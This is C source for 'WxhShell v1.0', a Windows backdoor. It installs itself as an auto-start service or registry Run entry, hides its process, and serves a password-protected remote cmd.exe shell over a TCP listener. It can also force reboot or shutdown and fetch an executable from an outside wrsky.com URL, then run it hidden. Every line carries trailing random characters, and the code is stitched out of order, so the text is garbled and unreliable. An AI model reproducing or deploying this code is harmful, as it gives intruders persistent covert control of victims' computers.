    closesocket(wsh); dZuPR  
    ExitThread(0); cf%aOHYI*  
    } ]e(\<R6Gf  
    break; "GX k;Y  
    } UL]zuW/  
  // 获取shell hq?F8 1  
  case 's': { bJ^Jmb  
    CmdShell(wsh); N*SUA4bnuM  
    closesocket(wsh); N9 TM  
    ExitThread(0); +Ou<-EQV  
    break; +2g}wH)l  
  } @T] G5|\ok  
  // 退出 V(;c#%I2  
  case 'x': { ufo\p=pGG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  GjyTM  
    CloseIt(wsh); Uj^Y\w-@Z  
    break; `$XgfMBf |  
    } ?KG4Z  
  // 离开 Q} |0  
  case 'q': { 4@=[r Zb9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L'O=;C"f  
    closesocket(wsh); $ZlzS`XF7  
    WSACleanup(); oF_ '<\ly=  
    exit(1); 2/ejU,S  
    break; F%$l cQ04%  
        } .t.4y. 97  
  } dQ Lo,S8(  
  } Ls'8  
r=#v@]z B  
  // 提示信息 ,qj M1xkL$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jQ['f\R  
} *iV#_  
  } x LGMN)@r  
>nO[5  
  return; /4$ c-k  
} ]CX^!n  
M$e$%kPShE  
// shell模块句柄 irMBd8WG  
int CmdShell(SOCKET sock) ge#P(Itz  
{ Sg1 ,9[pb  
STARTUPINFO si; tR(L>ZG{  
ZeroMemory(&si,sizeof(si)); wsgT`M'J[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l"%WXi"X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M $zt;7P|  
PROCESS_INFORMATION ProcessInfo; 4KY@y?H g  
char cmdline[]="cmd"; ([]\7}+8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {6iHUK   
  return 0; [ZD`t,x(  
} lHO.pN`2  
EUS^Gtc  
// 自身启动模式 GK&R.R]  
int StartFromService(void) !J(6E:,b#  
{ v1$ }JX   
typedef struct r@ba1*y0  
{ j6Au<P  
  DWORD ExitStatus; }DQ[C&  
  DWORD PebBaseAddress; qot {#tk d  
  DWORD AffinityMask; W3&~[DS@~  
  DWORD BasePriority; <Ys7`e6eY  
  ULONG UniqueProcessId; \b?O+;5Cj  
  ULONG InheritedFromUniqueProcessId; }3R:7N`,|  
}   PROCESS_BASIC_INFORMATION; *2Q x69`  
5K00z?kD2V  
PROCNTQSIP NtQueryInformationProcess; Y^gIvX  
wV'_{ /WM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L>!MEMqm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nrc-@ ]  
[yVcH3GcjI  
  HANDLE             hProcess; \{1Vjo  
  PROCESS_BASIC_INFORMATION pbi; 4}Hf"L[ l  
<9`/Y"\p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $B`bsJ  
  if(NULL == hInst ) return 0; M \>5",0  
g$mqAz<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dm`gzGl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >k(AQW5?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N~B'gJJDx  
%j?7O00 @  
  if (!NtQueryInformationProcess) return 0; +N!/>w]n  
r`C t/]c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o Hrx$>W]  
  if(!hProcess) return 0; >IHf5})R  
F=yE>[! LB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g= s2t"&  
cQ/T:E7$`  
  CloseHandle(hProcess); (ce"ED`1  
w4Ku1G#jC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Y5=A!*@tf  
if(hProcess==NULL) return 0; kYkck]|  
;sd] IZ$#  
HMODULE hMod; p fg>H  
char procName[255]; iPrAB*  
unsigned long cbNeeded; q|e<b  
V,:~FufM^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Kd"M[1[ <  
*. ; }v@  
  CloseHandle(hProcess); R= *vPS  
U &y?3  
if(strstr(procName,"services")) return 1; // 以服务启动 uB 35CRd  
3<HPZWc  
  return 0; // 注册表启动 JC4Z^/\.  
} 6Q9S~YYq  
j(\jYH>   
// 主模块 l # F.S5i  
int StartWxhshell(LPSTR lpCmdLine) Zh.[f+l]  
{ NGb\e5?  
  SOCKET wsl; Y ptP_R:2p  
BOOL val=TRUE; g [+_T{  
  int port=0; 0G/_"} @  
  struct sockaddr_in door; JKs&!!  
WhR'MkfL  
  if(wscfg.ws_autoins) Install(); `Yc>I!iN  
% ck/ Z  
port=atoi(lpCmdLine); 5}2XnM2  
\+sP<'~M  
if(port<=0) port=wscfg.ws_port; ,]-A~^|  
JV9Ft,xk  
  WSADATA data; d<4q%y'X{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $9O%,U@  
L\X 2Olfz1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D[}qhDlX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oe}6jcb6&  
  door.sin_family = AF_INET; a,*~wmg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Q0+1'yuK  
  door.sin_port = htons(port); 4';(\42  
pwO U6A!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qz/1^xy  
closesocket(wsl); rui]_Fn]I  
return 1; `@|Kx\y4=j  
} >D/+04w  
T)PH8 "  
  if(listen(wsl,2) == INVALID_SOCKET) { >0qe*4n|M  
closesocket(wsl); yjxv D  
return 1; vS'5Lm  
} seo.1.Da2  
  Wxhshell(wsl); h*\/{$y  
  WSACleanup(); \@HsMV2+zN  
|*WE@L5  
return 0; w(Hio-l=  
$'>h7].  
} H '(Ky  
/xcl0oe(  
// 以NT服务方式启动 $q~:%pQv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +_LWN8F  
{ 3fWL}]{<a  
DWORD   status = 0; t!,GI&  
  DWORD   specificError = 0xfffffff; 4w5mn6MxR  
}hv" ku6!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9n#Em  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q!P{a^Fnc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i+HHOT  
  serviceStatus.dwWin32ExitCode     = 0; NYcF]K}[  
  serviceStatus.dwServiceSpecificExitCode = 0; J_Pb R b  
  serviceStatus.dwCheckPoint       = 0; #ig* !  
  serviceStatus.dwWaitHint       = 0; I2PFJXp_]n  
Cs ND:m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +kK6G#c  
  if (hServiceStatusHandle==0) return; _<i*{;kR6  
!DUC#)F  
status = GetLastError(); #c:b8rw  
  if (status!=NO_ERROR) g$jZpU  
{ ;<=B I!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CAl]Kpc  
    serviceStatus.dwCheckPoint       = 0; .j)f'<;%  
    serviceStatus.dwWaitHint       = 0; H_CX5=Nq^  
    serviceStatus.dwWin32ExitCode     = status; D,H v(6({  
    serviceStatus.dwServiceSpecificExitCode = specificError; 06#40-   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9AsK=/Buf  
    return; }QqmDK.  
  } F};G&  
a5AD$bP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aA-gl9  
  serviceStatus.dwCheckPoint       = 0; d]*a:>58  
  serviceStatus.dwWaitHint       = 0; <8Zm}-U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z1gZn)7  
} |4@su"OA  
QP {V  
// 处理NT服务事件,比如:启动、停止 71# ipZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) , 9C~%c0Pw  
{ DJmT]Q]o)  
switch(fdwControl) #&cNR_"w  
{ sX~ `Vn&  
case SERVICE_CONTROL_STOP: ,'m<YTF  
  serviceStatus.dwWin32ExitCode = 0; >;A7mi/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hZ obFf  
  serviceStatus.dwCheckPoint   = 0; rI E m  
  serviceStatus.dwWaitHint     = 0; [0(+E2/:2  
  { VHlN;6Qlff  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =V@5W[bV  
  } h!L/ZeRaV  
  return; FesXY856E  
case SERVICE_CONTROL_PAUSE: !Deg!f\g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DhAQ|SdCf  
  break; bH-QF\>  
case SERVICE_CONTROL_CONTINUE: mQ@A3/=`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .qcIl)3  
  break; o"Dk`L2  
case SERVICE_CONTROL_INTERROGATE: ;ss,x  
  break; i'$V'x'k  
}; [a<u cJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E26zw9d  
} 'TF5CNX  
Me HlxI  
// 标准应用程序主函数 1FCHqqZ=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FSs<A@  
{ Y'YvVI  
(W~')A"hC'  
// 获取操作系统版本 7ktSj}7W]  
OsIsNt=GetOsVer(); ]}wo$7pO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K|q5s]4I  
W_%p'8,  
  // 从命令行安装 Eu4-=2!4  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lad8C  
1gA9h-'w  
  // 下载执行文件 ^Lx(if WJ  
if(wscfg.ws_downexe) { ,-11w7y\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YTc X4cC  
  WinExec(wscfg.ws_filenam,SW_HIDE); <}@*i  
} <Be:fnPX7  
DHUK_#!  
if(!OsIsNt) { 5d7AE^SHsH  
// 如果时win9x,隐藏进程并且设置为注册表启动 U.fL uKt  
HideProc(); gH+s)6  
StartWxhshell(lpCmdLine); JH4hy9i  
} Z?Cl5o&l b  
else M x/G^yO9  
  if(StartFromService()) jf`QoK  
  // 以服务方式启动 XYi-o][Mf  
  StartServiceCtrlDispatcher(DispatchTable); M@k8;_5  
else EpX.{B@B_[  
  // 普通方式启动 [9wuaw"~[Z  
  StartWxhshell(lpCmdLine); 78=a^gRB  
x6i7x"  
return 0; @>r3=s.Q  
} Xjy5Yj  
S,ENbP%0r  
Ix-bJE6+I,  
>TB"Ez09  
=========================================== t",=]k  
w$XqxI/&  
p;y\%i_  
\E(Negt7  
GOKca%DT=  
Ft<6`C  
" yDuMn<=3  
\aEarIX#*  
#include <stdio.h> sjZ@}Vk3b  
#include <string.h> M$jU-;hRH  
#include <windows.h> 8|z@"b l)  
#include <winsock2.h> 1}7Q2Ad w  
#include <winsvc.h> !Ojf9 6is  
#include <urlmon.h> m]7oTmS  
L[D<e?j  
#pragma comment (lib, "Ws2_32.lib") !08\w@  
#pragma comment (lib, "urlmon.lib") LLMom.  
R_vF$X'Ow  
#define MAX_USER   100 // 最大客户端连接数 Z\\'0yuY(  
#define BUF_SOCK   200 // sock buffer m,Fug1+N  
#define KEY_BUFF   255 // 输入 buffer xJ);P.  
`y^tCJ2u*  
#define REBOOT     0   // 重启 [U^@Bkh  
#define SHUTDOWN   1   // 关机 u ? }T)B  
(}4]U=/nV  
#define DEF_PORT   5000 // 监听端口 z#( `H6n:  
!wU~;sL8C3  
#define REG_LEN     16   // 注册表键长度 Bvai  
#define SVC_LEN     80   // NT服务名长度 C$<['D?8  
b9%G"?~Zz  
// 从dll定义API x1O]@Z{d\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Edp%z"J;C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O>M4%p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %3@a|#g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q83!PI  
mdB~~j  
// wxhshell配置信息 KE_GC ;bQ  
struct WSCFG { 0ECQ>Ux:  
  int ws_port;         // 监听端口 C)RJjaOr  
  char ws_passstr[REG_LEN]; // 口令 7rZE7+%]  
  int ws_autoins;       // 安装标记, 1=yes 0=no U9/>}Ni%3G  
  char ws_regname[REG_LEN]; // 注册表键名 sT<XZLu  
  char ws_svcname[REG_LEN]; // 服务名 !8Mi+ZV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k ^:+Pp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wu1">|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &x#3N=c#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Bb:?!EuEH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fJdTVs@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dBG5IOD  
*;0Ods+IcY  
}; EqjaD/6Y`  
gNj~o^6|@  
// default Wxhshell configuration 6$y$ VeW  
struct WSCFG wscfg={DEF_PORT, q(n PI  
    "xuhuanlingzhe", *$Tz g!/  
    1, i\yp(tE%^  
    "Wxhshell", 7A6:*  
    "Wxhshell", 7K`Z<v&*  
            "WxhShell Service", : 6|nXL  
    "Wrsky Windows CmdShell Service", iYR`|PJi  
    "Please Input Your Password: ", w dpd`  
  1, _]"uq/UWp  
  "http://www.wrsky.com/wxhshell.exe", Mf_urbp]  
  "Wxhshell.exe" }P(<]UF  
    }; Ae3=o8p  
1m\ihU  
// 消息定义模块 #BOLq`9 f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kWm[Lt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }Lc8tj<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '6zk> rN  
char *msg_ws_ext="\n\rExit."; BqG7E t  
char *msg_ws_end="\n\rQuit."; v;$cx*?  
char *msg_ws_boot="\n\rReboot..."; .cCB,re  
char *msg_ws_poff="\n\rShutdown..."; mO0a: i!  
char *msg_ws_down="\n\rSave to "; *{1]b_<  
E!]d?t3b  
char *msg_ws_err="\n\rErr!"; u[b0MNE~  
char *msg_ws_ok="\n\rOK!"; = t!$72g\  
nR#'BBlI  
char ExeFile[MAX_PATH]; 7Pp~)Kq=  
int nUser = 0; y|h:{<  
HANDLE handles[MAX_USER]; 'M=c-{f~  
int OsIsNt; {+  @M!  
96 P3B}Dk  
SERVICE_STATUS       serviceStatus; bQBYzvd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cK _:?G  
LP:U6 Z  
// 函数声明 je`w$ ^w  
int Install(void); c8}jO=/5+  
int Uninstall(void); n\'@]qG)Z4  
int DownloadFile(char *sURL, SOCKET wsh); N3SB-E+  
int Boot(int flag); .~jn N  
void HideProc(void); +~l`rJ  
int GetOsVer(void); oV,lEXz  
int Wxhshell(SOCKET wsl); Rf0F`D k  
void TalkWithClient(void *cs); }$D{YHF  
int CmdShell(SOCKET sock); nA 5-P}  
int StartFromService(void); W;y ,Xs  
int StartWxhshell(LPSTR lpCmdLine); x^u [L$  
eW.[M?,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (8d"G9R(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _^Yav.A=  
|\] _u 3  
// 数据结构和表定义 5l,Q=V^@l  
SERVICE_TABLE_ENTRY DispatchTable[] = `@#,5S$ E  
{ [&H?--I  
{wscfg.ws_svcname, NTServiceMain}, !PuW6  
{NULL, NULL} hJasnY7  
}; [>xGynU0  
ppXt8G3% x  
// 自我安装 y jQpdO  
int Install(void) 9!UFLZR  
{ n=tg{_9f%  
  char svExeFile[MAX_PATH]; MsLQ'9%Au  
  HKEY key; -Ka0B={Z  
  strcpy(svExeFile,ExeFile); ZW>?y$C+  
GFmVR2z_+  
// 如果是win9x系统,修改注册表设为自启动 ?> SH`\  
if(!OsIsNt) { L7 f'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z2soy-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q?"-[6[v  
  RegCloseKey(key); '@ C\,E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WeqQw?-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L?~-<k  
  RegCloseKey(key); Kk t9M\  
  return 0; T.R(  
    } {8a s _  
  } Y/aNrIK7  
} ~e@pL*s  
else { vJE>H4qPmD  
*[?DnF+  
// 如果是NT以上系统,安装为系统服务 2gC.Z:}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _O*"_^6  
if (schSCManager!=0) ob3Z I  
{ 2~BId&]  
  SC_HANDLE schService = CreateService $xU5vCwAo  
  ( I%q&4L7pj  
  schSCManager, v4V|j<R  
  wscfg.ws_svcname, !`-/E']/  
  wscfg.ws_svcdisp, oztfr<cUH  
  SERVICE_ALL_ACCESS, lY_&P.B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h0)Wy>B=,  
  SERVICE_AUTO_START, 1]l m0bfs  
  SERVICE_ERROR_NORMAL, {}TR'Y4  
  svExeFile, ixFuqPij  
  NULL, 1*!`G5c,}  
  NULL, nS}XY  
  NULL, WV'FW)%  
  NULL, ,:!dqonn  
  NULL RW@sh9  
  ); TLk=H Gw  
  if (schService!=0) l'2a?1/q  
  { tE: m& ;I  
  CloseServiceHandle(schService); LOkNDmj  
  CloseServiceHandle(schSCManager); 5$|wW}SA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *CH lg1  
  strcat(svExeFile,wscfg.ws_svcname); nD$CY K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z$d/Vz,a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . d;XLS~  
  RegCloseKey(key); 9 OC!\' 8  
  return 0; <R.5 Ma  
    } G^]7!:0  
  } _"PT O&E  
  CloseServiceHandle(schSCManager); `.FvuwP  
} ~ZSP K;D[  
} &.Jp,Xt)  
l(T CF  
return 1; <[H1S@{W  
} >g]kbes-\  
>!OD[9  
// 自我卸载 rmW,#  
int Uninstall(void) 8- ?.Q"D7%  
{ wPn#>\/L  
  HKEY key; oXc!JZ^  
(=H%VXQH  
if(!OsIsNt) { @}K'Ic  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K.Tfu"6  
  RegDeleteValue(key,wscfg.ws_regname); m"~^-mJ-  
  RegCloseKey(key); 0@yHT-Dy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { );wSay>%(  
  RegDeleteValue(key,wscfg.ws_regname); ey@]B5  
  RegCloseKey(key); IRemF@  
  return 0; xq2{0q  
  } ThX%Uzd"[;  
} &k /uR;yw  
} vs/.'yD/C  
else { P"J(O<(1-:  
`/:ZB6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (bxSN@hp2  
if (schSCManager!=0) |hjm^{!TpW  
{ O+Fu zCWj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nk,X6o9%  
  if (schService!=0) *.0}3  
  { 8. [TPiUn'  
  if(DeleteService(schService)!=0) { >;eWgQ6V  
  CloseServiceHandle(schService); Fu0 dYN  
  CloseServiceHandle(schSCManager); \f6SA{vR|  
  return 0; M-3kF"  
  } c rPEr  
  CloseServiceHandle(schService); "P<IQx  
  } G[1:<Vg8  
  CloseServiceHandle(schSCManager); D9M<>Xz)  
} \WG6\Zg0A  
} ~6z<tyD^  
%|$h<~  
return 1; 7*8R:X+^r  
} n 0_q-8r  
gwDQ@  
// 从指定url下载文件 (+d7cln  
int DownloadFile(char *sURL, SOCKET wsh) /s"mqBXCG  
{ FUic7>  
  HRESULT hr; I@a y&NNh  
char seps[]= "/"; 0Ym+10g  
char *token; )mw#MTv<[  
char *file; <H{%`  
char myURL[MAX_PATH]; g5X;]%:  
char myFILE[MAX_PATH]; +G';no\h  
C?jk#T  
strcpy(myURL,sURL); {3F;:%$`c  
  token=strtok(myURL,seps); pj:s+7"t  
  while(token!=NULL) vt@5Hb)  
  { xT7JGQ[|  
    file=token; 1zwk0={x-%  
  token=strtok(NULL,seps); Gf'qPLK0  
  } *Y"Kbn 6  
:ulOG{z  
GetCurrentDirectory(MAX_PATH,myFILE); h.PVRAwk  
strcat(myFILE, "\\"); o! W 71  
strcat(myFILE, file); U~8;y'  
  send(wsh,myFILE,strlen(myFILE),0); lXH?*  
send(wsh,"...",3,0); -`nQa$N-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yd#SB)&  
  if(hr==S_OK) 0$)uOUVJ  
return 0; Y 3W_Z  
else U$+EUDFi3_  
return 1; b&[bfM<  
~9%L)nC2'  
} dm8N;r/w  
4D+S\S0bk  
// 系统电源模块 B:Y"X:Y  
int Boot(int flag) a"7zz]XO2  
{ |>_e& }Y%L  
  HANDLE hToken; @r7ekyO8)  
  TOKEN_PRIVILEGES tkp; i\~@2  
bMe/jQuL.$  
  if(OsIsNt) { :;Z?2P5i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +9LIpU&5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qiEw[3Za]'  
    tkp.PrivilegeCount = 1; []^fb,5a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t}FwS6u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S7i,oP7  
if(flag==REBOOT) { P/%5J3_,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'cp1I&>  
  return 0; v\&C]W]  
} #aHPB#  
else { p;#@#>h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1ym^G0"s  
  return 0; `Vph=`0  
} py \KY R  
  } b&wyp@k  
  else { d\eTyN'rA  
if(flag==REBOOT) { SZ$~zT;c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ENoGV;WG  
  return 0; eKpWFP 0  
} LDX>S*cL  
else { o2'^MxKb T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2TQyQ%  
  return 0; IOL5p*:gz  
} hCpX# rg?  
} g>gVO@"b2  
O@9<7@h+Nl  
return 1; #_(t46  
} 4hl`~&yDf  
L0^rw|Z%'  
// win9x进程隐藏模块 n]nb+_-97  
void HideProc(void) ve3-GWT{C  
{ i!yu%>:M  
D MzDV_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xZ=6  
  if ( hKernel != NULL ) gdj,e ^  
  { &$H7vdWNy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wC&+nS1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0&21'K)pW  
    FreeLibrary(hKernel); aG*Mj;J  
  } zn+5pn&?  
5w9oMM {  
return; 506AvD  
} w]ihGh  
,qUOPW?=  
// 获取操作系统版本 W)LtnD2 w  
int GetOsVer(void) 6+.8nx:9X  
{ Au"7w=G`f  
  OSVERSIONINFO winfo; &sA@!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LX%UkfA9  
  GetVersionEx(&winfo); yt 5'2!jc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b0:5i<"w6  
  return 1; .ng:Z7  
  else -]Mbe2;  
  return 0; b%_[\((  
} 4*9WxhJ ]0  
~IQ2;A  
// 客户端句柄模块 Jc9BZ`~i  
int Wxhshell(SOCKET wsl) n&fV^ x  
{ X"fSM #  
  SOCKET wsh; m&I5~kD  
  struct sockaddr_in client; O_^X:0}  
  DWORD myID; egHvI&w"o  
U/j+\Kc~  
  while(nUser<MAX_USER) uzO3_.4Y  
{ ];U}'&  
  int nSize=sizeof(client); 41s[p56+@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Izc-W  
  if(wsh==INVALID_SOCKET) return 1; 2E/yZ ~2s  
k<.VR"I p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yS"; q  
if(handles[nUser]==0) 8 aC]" C  
  closesocket(wsh); fs3jPHZJ#  
else ;Y@"!\t}  
  nUser++; \EC7*a0  
  } B`;DAsmT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q"D%xY  
# fkOm Y7X  
  return 0; bA*T1Db,t>  
} SHt#%3EU  
H'2Un(#Al  
// 关闭 socket j|c6BdROl  
void CloseIt(SOCKET wsh) c ;@k\6  
{ maINp"#  
closesocket(wsh); mj^]e/s%  
nUser--; m=e#1Hs   
ExitThread(0); h"849c;C.  
} +f]\>{o4  
"~=\AB=+Z  
// 客户端请求句柄 A_}%YHb  
void TalkWithClient(void *cs) |vf /M|  
{ oHj64fE9  
.!`v2_  
  SOCKET wsh=(SOCKET)cs; Ymr\8CG/  
  char pwd[SVC_LEN]; @ZFU< e$!  
  char cmd[KEY_BUFF]; a8[Q1Fa4|  
char chr[1]; iT}L9\  
int i,j; ?&>H^}gDZ  
\&)k{P>=  
  while (nUser < MAX_USER) { S&w(H'4N  
QnPgp(d <  
if(wscfg.ws_passstr) { cQ<* (KU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B$kp\yL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ukH?O)0O  
  //ZeroMemory(pwd,KEY_BUFF); @Tl!A1y?  
      i=0; 76M`{m  
  while(i<SVC_LEN) { #Ies yNKZ  
2xJT!lN  
  // 设置超时 c-, 6k  
  fd_set FdRead; .wv!;  
  struct timeval TimeOut; g0~3;y  
  FD_ZERO(&FdRead); qf qp}g\  
  FD_SET(wsh,&FdRead); ^68BxYUoD\  
  TimeOut.tv_sec=8; oL 69w1  
  TimeOut.tv_usec=0; %hqhi@q#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;zl/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S3(2.c~  
{<_9QAS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \p&a c&]  
  pwd=chr[0]; /Dn  
  if(chr[0]==0xd || chr[0]==0xa) { !Ho=(6V  
  pwd=0; ;PrL)!  
  break; rH<iUiA?O  
  } LpJ_HU7@lk  
  i++; [@_zsz,`L  
    } }nW)+  
G?OwhX  
  // 如果是非法用户,关闭 socket E*t0ia8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D|Tv`47ntu  
} aF'9&A;q  
pdrF/U+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8'kA",P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F ;m1I+;  
 9g*MBe:  
while(1) { #VwA?$4g`  
Je6=N3)  
  ZeroMemory(cmd,KEY_BUFF); FrNW@  
GAlAFsB  
      // 自动支持客户端 telnet标准   Bi +a)_K  
  j=0; w C0fPPeA  
  while(j<KEY_BUFF) { t7%!~s=,M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I2!0,1Q  
  cmd[j]=chr[0]; F<UEipe/N  
  if(chr[0]==0xa || chr[0]==0xd) { mYudUn4Wo  
  cmd[j]=0; cXJtNW@  
  break; ?6bk&"T?  
  } Rp2~d  
  j++; oj7X9~ nd  
    } QrP$5H{[E  
gJVakR&  
  // 下载文件 *yv@-lP5s  
  if(strstr(cmd,"http://")) { at/v.U |F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CMIjc(m  
  if(DownloadFile(cmd,wsh)) I [J0r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ecuquX'  
  else [G/q*a:K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ({cgak  
  } n ?%3=~9  
  else { ?wps_XU  
V 'Gi2gNaP  
    switch(cmd[0]) { :\*hAV1i  
  xa#:oKF3  
  // 帮助 gFvFd:"uZ  
